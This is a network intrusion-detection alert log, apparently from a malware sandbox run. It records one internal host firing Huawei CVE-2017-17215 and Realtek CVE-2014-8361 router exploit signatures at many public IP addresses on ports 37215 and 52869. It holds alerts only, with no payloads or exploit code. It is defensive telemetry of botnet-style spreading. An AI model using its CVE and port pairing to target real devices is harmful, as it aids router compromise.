07/20/24-23:00:59.021856	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57934	37215	192.168.2.13	41.114.67.30
07/20/24-23:01:04.853128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33612	37215	192.168.2.13	157.95.222.179
07/20/24-23:01:06.802009	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57510	37215	192.168.2.13	41.176.113.41
07/20/24-23:01:12.490733	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43946	37215	192.168.2.13	197.126.243.240
07/20/24-23:01:04.893876	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34186	37215	192.168.2.13	141.78.2.84
07/20/24-23:01:22.749655	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41276	37215	192.168.2.13	81.215.100.254
07/20/24-23:01:27.277398	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52414	37215	192.168.2.13	157.179.148.237
07/20/24-23:01:04.893876	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45362	37215	192.168.2.13	41.255.50.16
07/20/24-23:01:06.800492	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36610	37215	192.168.2.13	129.45.186.97
07/20/24-23:01:27.352822	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58344	52869	192.168.2.13	78.15.229.242
07/20/24-23:00:59.023270	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42570	37215	192.168.2.13	181.77.179.109
07/20/24-23:01:19.196006	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46066	52869	192.168.2.13	77.11.226.101
07/20/24-23:01:04.892226	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59838	37215	192.168.2.13	19.63.222.55
07/20/24-23:01:22.739710	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37558	37215	192.168.2.13	157.188.46.85
07/20/24-23:01:27.359675	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50350	52869	192.168.2.13	177.53.116.167
07/20/24-23:00:59.054990	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43614	37215	192.168.2.13	157.210.89.153
07/20/24-23:01:06.283652	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57534	52869	192.168.2.13	177.130.98.196
07/20/24-23:01:12.533730	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51186	37215	192.168.2.13	157.195.137.191
07/20/24-23:01:05.795470	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60280	52869	192.168.2.13	126.66.84.101
07/20/24-23:01:04.879348	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39886	37215	192.168.2.13	157.208.118.243
07/20/24-23:01:27.236376	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49734	37215	192.168.2.13	157.194.250.247
07/20/24-23:01:27.355019	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33430	52869	192.168.2.13	171.206.136.183
07/20/24-23:01:02.620832	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50010	37215	192.168.2.13	197.215.77.6
07/20/24-23:01:04.846946	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57262	37215	192.168.2.13	157.47.74.129
07/20/24-23:01:04.870311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37308	37215	192.168.2.13	41.130.95.204
07/20/24-23:01:12.485954	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34184	37215	192.168.2.13	157.115.105.116
07/20/24-23:01:32.192487	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33016	37215	192.168.2.13	41.235.225.54
07/20/24-23:01:14.546238	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46088	52869	192.168.2.13	157.40.9.209
07/20/24-23:01:32.260699	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35586	37215	192.168.2.13	157.48.146.195
07/20/24-23:01:06.827198	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52954	37215	192.168.2.13	157.141.237.51
07/20/24-23:01:21.681221	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40686	52869	192.168.2.13	165.167.242.189
07/20/24-23:01:06.805919	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46408	37215	192.168.2.13	197.107.101.183
07/20/24-23:01:04.848605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39698	37215	192.168.2.13	41.49.78.43
07/20/24-23:01:06.799605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52284	37215	192.168.2.13	113.33.105.127
07/20/24-23:01:22.812907	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43490	37215	192.168.2.13	157.129.27.74
07/20/24-23:01:25.414530	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60158	37215	192.168.2.13	157.214.161.128
07/20/24-23:01:17.782283	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43364	37215	192.168.2.13	41.122.39.77
07/20/24-23:00:59.021252	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38068	37215	192.168.2.13	37.50.200.38
07/20/24-23:01:14.535851	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60556	52869	192.168.2.13	191.214.228.151
07/20/24-23:01:27.352538	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49722	52869	192.168.2.13	161.241.29.146
07/20/24-23:01:22.746773	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40638	37215	192.168.2.13	41.177.51.37
07/20/24-23:01:25.414531	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47264	37215	192.168.2.13	197.144.40.137
07/20/24-23:01:14.516654	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37576	52869	192.168.2.13	188.53.105.187
07/20/24-23:01:32.206638	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38892	37215	192.168.2.13	87.24.150.210
07/20/24-23:01:27.354179	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39718	52869	192.168.2.13	5.243.194.6
07/20/24-23:01:27.354427	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59532	52869	192.168.2.13	194.111.111.55
07/20/24-23:01:25.391285	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33248	37215	192.168.2.13	41.196.109.118
07/20/24-23:01:22.743515	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49402	37215	192.168.2.13	78.175.0.114
07/20/24-23:01:32.248799	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52312	37215	192.168.2.13	48.41.58.171
07/20/24-23:01:36.837667	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44916	37215	192.168.2.13	157.141.232.217
07/20/24-23:01:14.523933	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36116	52869	192.168.2.13	23.86.160.85
07/20/24-23:01:25.407917	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42148	37215	192.168.2.13	157.206.160.197
07/20/24-23:01:12.358593	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42094	37215	192.168.2.13	157.206.199.24
07/20/24-23:01:36.780651	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38600	37215	192.168.2.13	197.184.200.133
07/20/24-23:01:14.547224	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46040	52869	192.168.2.13	126.183.144.210
07/20/24-23:01:12.490733	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55260	37215	192.168.2.13	197.196.231.184
07/20/24-23:01:08.435254	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37948	37215	192.168.2.13	41.243.238.243
07/20/24-23:01:22.834271	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34036	37215	192.168.2.13	41.178.5.152
07/20/24-23:01:08.368788	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50400	37215	192.168.2.13	197.121.157.209
07/20/24-23:01:08.386561	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56614	37215	192.168.2.13	197.100.145.141
07/20/24-23:01:05.609671	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53956	52869	192.168.2.13	97.114.117.29
07/20/24-23:01:25.388699	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53438	37215	192.168.2.13	197.48.37.91
07/20/24-23:01:02.603717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41860	37215	192.168.2.13	140.242.21.87
07/20/24-23:01:25.391404	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34686	37215	192.168.2.13	84.46.216.58
07/20/24-23:01:36.795205	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52094	37215	192.168.2.13	197.153.240.232
07/20/24-23:01:32.192487	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57544	37215	192.168.2.13	41.3.121.137
07/20/24-23:01:04.189873	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38834	52869	192.168.2.13	130.206.211.129
07/20/24-23:01:36.794115	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34654	37215	192.168.2.13	182.252.69.39
07/20/24-23:01:06.287282	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37558	52869	192.168.2.13	76.239.185.4
07/20/24-23:01:14.551639	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60762	52869	192.168.2.13	61.114.188.190
07/20/24-23:01:32.267589	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44082	37215	192.168.2.13	41.19.25.100
07/20/24-23:01:14.527257	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54994	52869	192.168.2.13	83.59.61.36
07/20/24-23:01:27.355019	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33430	52869	192.168.2.13	171.206.136.183
07/20/24-23:01:36.850220	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46350	37215	192.168.2.13	41.20.12.234
07/20/24-23:01:05.825168	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43140	52869	192.168.2.13	49.79.222.119
07/20/24-23:01:27.354561	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45708	52869	192.168.2.13	207.192.171.160
07/20/24-23:00:59.019747	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52992	37215	192.168.2.13	212.19.225.186
07/20/24-23:01:04.841989	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39052	37215	192.168.2.13	197.179.182.47
07/20/24-23:01:05.850964	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58142	52869	192.168.2.13	9.231.7.210
07/20/24-23:01:06.802009	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44010	37215	192.168.2.13	197.80.1.119
07/20/24-23:00:59.019788	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51784	37215	192.168.2.13	109.174.172.219
07/20/24-23:01:27.222234	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39986	37215	192.168.2.13	130.255.231.167
07/20/24-23:01:27.354992	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44930	52869	192.168.2.13	37.40.108.99
07/20/24-23:01:14.539379	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37434	52869	192.168.2.13	14.2.30.96
07/20/24-23:01:32.259331	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47658	37215	192.168.2.13	41.159.140.171
07/20/24-23:01:05.132175	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59934	52869	192.168.2.13	48.113.240.162
07/20/24-23:01:05.470942	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38542	52869	192.168.2.13	172.51.83.216
07/20/24-23:01:27.232388	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52964	37215	192.168.2.13	197.83.128.106
07/20/24-23:01:27.354949	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45772	52869	192.168.2.13	188.171.53.74
07/20/24-23:01:07.598475	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33826	52869	192.168.2.13	41.74.147.143
07/20/24-23:01:02.678688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34758	37215	192.168.2.13	41.120.70.192
07/20/24-23:01:27.359674	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60904	52869	192.168.2.13	181.177.254.25
07/20/24-23:01:12.502954	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56354	37215	192.168.2.13	130.214.200.95
07/20/24-23:01:14.506916	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39626	52869	192.168.2.13	122.167.75.170
07/20/24-23:01:12.485954	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55354	37215	192.168.2.13	157.65.122.167
07/20/24-23:01:17.782283	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42270	37215	192.168.2.13	41.167.86.178
07/20/24-23:01:36.796105	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45464	37215	192.168.2.13	41.15.211.155
07/20/24-23:01:12.492181	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54264	37215	192.168.2.13	197.155.188.132
07/20/24-23:01:12.360354	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54960	37215	192.168.2.13	157.230.222.12
07/20/24-23:01:32.202245	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42428	37215	192.168.2.13	157.33.148.71
07/20/24-23:01:14.513824	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43224	52869	192.168.2.13	170.171.127.228
07/20/24-23:01:32.232613	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38802	37215	192.168.2.13	169.212.52.234
07/20/24-23:01:32.206638	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36170	37215	192.168.2.13	41.236.160.41
07/20/24-23:01:36.780626	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41906	37215	192.168.2.13	157.127.253.177
07/20/24-23:01:02.685656	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36066	37215	192.168.2.13	41.190.198.11
07/20/24-23:01:04.867862	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41240	37215	192.168.2.13	41.217.147.78
07/20/24-23:01:22.737281	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33404	37215	192.168.2.13	41.137.247.5
07/20/24-23:01:27.355018	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38282	52869	192.168.2.13	205.146.86.254
07/20/24-23:01:32.203847	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39446	37215	192.168.2.13	116.242.147.193
07/20/24-23:01:12.485954	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59464	37215	192.168.2.13	157.103.170.98
07/20/24-23:01:27.352942	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53108	52869	192.168.2.13	98.254.20.30
07/20/24-23:01:05.856286	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44894	52869	192.168.2.13	210.242.150.143
07/20/24-23:01:27.285139	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58208	37215	192.168.2.13	41.207.244.51
07/20/24-23:01:32.232613	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53060	37215	192.168.2.13	197.187.147.201
07/20/24-23:01:02.620832	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60948	37215	192.168.2.13	157.171.147.236
07/20/24-23:01:32.276800	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39068	37215	192.168.2.13	157.191.94.21
07/20/24-23:00:59.021890	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42662	37215	192.168.2.13	157.222.199.50
07/20/24-23:01:07.450482	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43680	52869	192.168.2.13	165.40.111.49
07/20/24-23:01:04.870311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53446	37215	192.168.2.13	41.17.157.164
07/20/24-23:01:06.215874	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46252	52869	192.168.2.13	221.85.136.10
07/20/24-23:01:14.512354	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34480	52869	192.168.2.13	199.170.141.174
07/20/24-23:01:03.882590	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40844	52869	192.168.2.13	166.157.8.210
07/20/24-23:01:22.736802	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49664	37215	192.168.2.13	197.213.226.116
07/20/24-23:01:22.737206	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32960	37215	192.168.2.13	157.82.152.97
07/20/24-23:01:06.798257	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51316	37215	192.168.2.13	111.24.156.226
07/20/24-23:00:59.019793	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57984	37215	192.168.2.13	157.154.83.107
07/20/24-23:01:19.597930	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36964	52869	192.168.2.13	163.251.53.210
07/20/24-23:01:04.908543	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52740	37215	192.168.2.13	41.155.18.221
07/20/24-23:01:36.781770	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34390	37215	192.168.2.13	32.86.79.138
07/20/24-23:01:08.447448	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50908	37215	192.168.2.13	157.25.221.62
07/20/24-23:01:14.550185	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60390	52869	192.168.2.13	39.240.110.128
07/20/24-23:01:04.907418	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57442	37215	192.168.2.13	150.36.84.70
07/20/24-23:01:32.282562	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50912	37215	192.168.2.13	89.252.178.104
07/20/24-23:01:22.811587	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57992	37215	192.168.2.13	157.144.66.58
07/20/24-23:01:07.186219	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37648	52869	192.168.2.13	83.201.72.91
07/20/24-23:01:32.271087	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59338	37215	192.168.2.13	41.135.31.86
07/20/24-23:01:38.795028	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36368	52869	192.168.2.13	187.26.97.109
07/20/24-23:01:14.507784	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34366	52869	192.168.2.13	170.54.95.252
07/20/24-23:01:14.531479	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52724	52869	192.168.2.13	139.23.112.9
07/20/24-23:01:20.318652	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55120	52869	192.168.2.13	105.237.48.102
07/20/24-23:01:06.801053	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51832	37215	192.168.2.13	41.162.222.24
07/20/24-23:01:02.624280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36402	37215	192.168.2.13	157.122.230.247
07/20/24-23:01:07.583103	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34134	52869	192.168.2.13	193.187.192.75
07/20/24-23:01:02.607205	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51226	37215	192.168.2.13	202.117.135.95
07/20/24-23:01:14.539078	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38008	52869	192.168.2.13	198.95.42.42
07/20/24-23:01:08.464559	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39248	37215	192.168.2.13	157.175.25.88
07/20/24-23:01:05.562396	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37354	52869	192.168.2.13	211.247.29.248
07/20/24-23:01:05.864031	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57966	52869	192.168.2.13	187.123.127.227
07/20/24-23:01:36.808711	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42636	37215	192.168.2.13	41.179.100.43
07/20/24-23:01:06.805919	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43834	37215	192.168.2.13	41.154.65.167
07/20/24-23:01:14.542853	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39616	52869	192.168.2.13	83.201.72.91
07/20/24-23:01:02.613456	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57420	37215	192.168.2.13	41.235.172.174
07/20/24-23:01:06.801544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34182	37215	192.168.2.13	197.84.87.201
07/20/24-23:01:32.276800	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55486	37215	192.168.2.13	157.84.70.7
07/20/24-23:01:14.527257	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43010	52869	192.168.2.13	89.84.130.3
07/20/24-23:01:14.502469	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50310	52869	192.168.2.13	82.246.219.130
07/20/24-23:01:06.351864	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60378	52869	192.168.2.13	219.0.14.247
07/20/24-23:01:22.799496	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42424	37215	192.168.2.13	189.69.197.170
07/20/24-23:01:12.356534	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45586	37215	192.168.2.13	157.239.128.88
07/20/24-23:01:08.407500	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49316	37215	192.168.2.13	41.158.251.34
07/20/24-23:01:19.974127	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56448	52869	192.168.2.13	124.217.207.199
07/20/24-23:01:08.392180	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50344	37215	192.168.2.13	157.253.241.179
07/20/24-23:00:59.021490	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58760	37215	192.168.2.13	52.138.177.196
07/20/24-23:00:59.021933	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38854	37215	192.168.2.13	203.129.114.89
07/20/24-23:01:14.518210	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47726	52869	192.168.2.13	158.124.195.199
07/20/24-23:01:02.695892	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43962	37215	192.168.2.13	197.250.181.100
07/20/24-23:01:04.846946	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59188	37215	192.168.2.13	93.108.13.246
07/20/24-23:01:12.502954	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58018	37215	192.168.2.13	197.227.66.166
07/20/24-23:01:25.456960	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40224	37215	192.168.2.13	41.112.105.26
07/20/24-23:00:59.022606	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35422	37215	192.168.2.13	157.106.231.112
07/20/24-23:01:32.260443	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52022	37215	192.168.2.13	41.117.251.239
07/20/24-23:01:02.601732	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34612	37215	192.168.2.13	197.189.139.115
07/20/24-23:01:08.381624	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36442	37215	192.168.2.13	197.49.223.204
07/20/24-23:01:14.539913	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51786	52869	192.168.2.13	152.161.224.79
